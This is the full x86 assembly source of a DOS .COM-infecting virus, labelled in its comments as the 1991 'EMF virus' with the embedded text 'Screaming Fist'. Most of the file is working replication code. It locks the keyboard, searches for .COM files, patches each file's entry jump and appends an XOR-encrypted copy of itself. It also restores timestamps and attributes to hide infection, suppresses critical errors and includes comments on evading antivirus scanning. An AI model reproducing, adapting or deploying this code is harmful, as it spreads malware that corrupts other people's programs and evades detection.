2022-08-21 09:07:57 +00:00
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DATA SEGMENT
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ORG 100H
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DATA ENDS
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; The EMF virus (c)1991 by Lazarus Long, Inc.
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; The author assumes no responsibility for any damage incurred
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; from the execution of this file, intentional or not
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;
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START:
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JMP VIRUS_START
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ENCRYPT_BYTE DB 00H ;Storage space for byte that ID string is
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;Encrypted by
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;------------------------------------------------------------------------------;
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;The code from here to ENC_START is always unencrypted and SCAN would be able ;
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;to find it. Maybe a quick look at V2P7 would be in order (Hint,Hint!) ;
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;------------------------------------------------------------------------------;
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VIRUS_START:
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CALL NEXT_STEP
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NEXT_STEP:
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POP BP ;All actions relative to BP,
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IN AL,21H ;Lock out keyboard
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PUSH AX
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OR AL,2
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OUT 21H,AL
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MOV CX,ENC_LENGTH ;Number of bytes to decrypt ;cause offsets
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LEA SI,[BP+OFFSET ENC_START-NEXT_STEP] ;Offset of data to decrypt ;change in infected files
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MOV DL,[103H] ;Byte to decrypt with
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CALL CRYPT ;Decrypt main body of virus
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CALL RESTORE_EIGHT
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JMP SAVE_PSP ;Continue
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INFECT:
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CALL CRYPT_WRITE
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MOV AH,40H
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MOV DX,BP ;Starting from BP-3
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SUB DX,3 ;Which,convienently,is the start
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MOV CX,ENC_END-108H ;of our viral code
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INT 21H ;Write all of virus
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CALL CRYPT_WRITE ;Return and continue
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RET
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CRYPT_WRITE:
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MOV CX,ENC_LENGTH ;Number of bytes to decrypt
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LEA SI,[BP+ OFFSET ENC_START - NEXT_STEP] ;Address to start decryption
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MOV DL,[0FBH] ;Byte to decrypt with
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CALL CRYPT
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RET
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;******************************************************************************;
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;Call this with SI equal to address to XOR,and CX number of bytes to XOR :
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; ;
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;******************************************************************************;
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CRYPT:
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XOR BYTE PTR [SI],DL ;XOR it
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INC SI ;Increment XOR address
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INC DL ;Change encryption key,eh?
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NOT DL ;Reverse the key
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LOOP CRYPT ;Until CX=0
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RET ;Then return
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;******************************************************************************;
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; Save PSP ;
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;******************************************************************************;
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ENC_START EQU $
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SAVE_PSP:
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MOV AH,30H ;Get DOS version
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INT 21H
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CMP AL,2 ;Lower than 2?
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JNB ABOVE_2 ;No,continue
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CALL RESTORE_EIGHT
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MOV SI,100H ;If so return
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PUSH SI
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RET 0FFFFH
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ABOVE_2:
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PUSH ES ;Save ES
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MOV AX,3524H ;Get INT 24 address
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INT 21H
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MOV [BP+OLD_B-NEXT_STEP],BX ;Save it
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MOV [BP+OLD_E-NEXT_STEP],ES
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MOV AH,25H ;Now set it to our own code
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LEA DX,[BP+NEW_24-NEXT_STEP]
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INT 21H
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POP ES ;Restore ES
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MOV CX,128 ;Number of bytes to save
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MOV SI,80H ;From 80H. ie the PSP
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LEA DI,[BP+ENC_END-NEXT_STEP] ;To the end of our code
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PUSH DI ;Save location so we can restore the bytes
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REP MOVSB ;Mov'em
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;------------------------------------------------------------------------------; ;
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; Find first .COM file that is either Hidden,read-only,system,or archive ;
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;------------------------------------------------------------------------------;
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FIND_FIRST:
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LEA DX,[BP+WILD_CARD-NEXT_STEP] ;Offset of *.COM,00
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MOV CX,27H ;Find ANY file that fits *.COM
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MOV AH,4EH ;Find first matching file
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INT 21H
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JC QUIT ;If no *.COM files found,quit
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JMP SET_ATTRIBS
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FIND_AGAIN:
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LEA DX,[BP+WILD_CARD-NEXT_STEP] ;Offset of *.com
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MOV AH,4FH ;Find next matching file
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MOV CX,27H ;Archive,Hidden,Read-only,or System
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INT 21H
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JC QUIT ;No more files? Then exit
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SET_ATTRIBS:
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MOV AX,[096H] ;Get time
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AND AL,1EH ;Are the seconds set to 60?
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CMP AL,1EH ;
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JZ FIND_AGAIN ;If so,assume this file is infected,find another
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;------------------------------------------------------------------------------;
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; Open file and infect it. ;
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; ;
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;------------------------------------------------------------------------------;
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MOV DX,9EH ;offset into DTA of filename
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MOV AX,4301H ;Set file attribs
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XOR CX,CX ;To normal file
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INT 21H
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JC QUIT ;Some sort of error occured,exit now!
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MOV AX,3D02H ;Code for open file with read and write
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;access
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INT 21H ;DX points to ASCIIZ string of filename
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MOV CX,04 ;Read four bytes
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MOV BX,AX ;Save handle for future use
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MOV DX,0ACH ;Set buffer to end of DTA
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MOV AH,3FH ;Read from file
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INT 21H
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JMP MAKE_HEADER
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QUIT:
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JMP DONE
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;------------------------------------------------------------------------------;
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; Infect .COM header so it jumps to our viral code ;
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;------------------------------------------------------------------------------;
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MAKE_HEADER:
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MOV [0F9H],[9AH] ;Offset off file size in DTA
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MOV [0F8H]B,0E9H ;Code for absolute JMP
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SUB WORD PTR [0F9H],2 ;Adjust it just a bit
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MOV AX,4200H ;Set file pointer to beginning
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;of file to be infected
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XOR CX,CX ;Zero out CX
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XOR DX,DX ;Zero out DX
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INT 21H
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MOV AH,2CH ;Get time
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INT 21H
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ADD DL,[104H] ;And add to what we had before
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MOV [0FBH],DL ;Save that value for our key
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MOV AH,40H ;Write to file
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MOV DX,0F8H ;Starting at F8 hex
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MOV CX,04H ;Write eight bytes
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INT 21H
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ERROR:
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JC DONE ;Some sort of error?
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;If so,exit
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;------------------------------------------------------------------------------;
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; Attach our viral code to the end of the target .COM file ;
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; ;
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;------------------------------------------------------------------------------;
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MOV SI,0ACH ;Starting at A9h
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MOV CX,04 ;Mov eight bytes
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LEA DI,[BP+ORIGINAL_EIGHT-NEXT_STEP];Where to save original eight bytes to
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REP MOVSB ;Save infected files original eight bytes
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MOV AX,4202H ;Set file pointer to end of file
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;plus 1
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XOR CX,CX ;Zero CX
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MOV DX,1 ;Make DX=1
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INT 21H
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CALL INFECT ;Encrypt code, write it to file,
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;Decrypt it,and return
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;------------------------------------------------------------------------------;
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; This restores the files original date and time ;
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;------------------------------------------------------------------------------;
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MOV AX,5701H ;Restore original date and time
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MOV CX,[96H] ;From what was read in earlier
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MOV DX,[98H]
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AND CX,0FFE0H
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OR CX,01EH ;Change seconds to 60
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INT 21H
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MOV AH,3EH ;Close that file
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INT 21H
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CALL RESTORE_ATTRIBS ;Restore it's attributes
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DONE:
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RESTORE_PSP:
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PUSH DS ;Save the DS register
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MOV DX,[BP+OLD_B-NEXT_STEP]W ;Move the old INT 24's address
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MOV DS,[BP+OLD_E-NEXT_STEP]W ;so we can restore it
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MOV AX,2524H ;Restore it
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INT 21H
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POP DS ;Restore the DS register
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POP SI ;SI is equal to address we stored
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;our PSP at
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MOV DI,80H ;Want to move saved PSP to 80h
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MOV CX,128 ;Want to move 128 bytes
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REP MOVSB
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MOV SI,100H ;Odd sort of jump
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POP AX
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PUSH SI ;Ends up restoring control to
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;100h
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OUT 21H,AL ;Unlock keyboard
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RET 0FFFFH ;Pop off all of stack
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RESTORE_EIGHT:
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LEA SI,[BP+ORIGINAL_EIGHT-NEXT_STEP] ;Restore original eight bytes so we
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;can RET
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MOV DI,100H ;Destination of move
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MOV CX,04 ;Move eight bytes
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REP MOVSB
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RET
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RESTORE_ATTRIBS:
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;------------------------------------------------------------------------------;
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; This routine restores the files original attributes. ;
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;------------------------------------------------------------------------------;
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MOV AX,4301H ;Restore original attribs
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XOR CX,CX ;Zero out CX
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MOV CL,[95H] ;To what was read in earlier
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MOV DX,09EH ;Offset of filename
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INT 21H
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RET
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NEW_24:
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XOR AX,AX ;Any error will simply be ignored
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STC ;Most useful for write protects
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IRET
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OLD_E EQU $
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OLD_ES DW 00 00
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OLD_B EQU $
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OLD_BX DW 00 00
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ORIGINAL_EIGHT EQU $
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OLD_EIGHT_BYTES DB ,0CDH,20H,00,00 ;Bytes that are moved
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;and RET'd to
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WILD_CARD EQU $
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FILESPEC DB '*.COM',00
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;------------------------------------------------------------------------------
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;This is just some generic text. Don't be a lamer and change the text and claim
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;it was your own creation.
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;------------------------------------------------------------------------------
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TEXT DB 'Screaming Fist (c)10/91'
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ENC_END EQU $
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ENC_LENGTH = ENC_END - ENC_START ;Length of code to be encrypted
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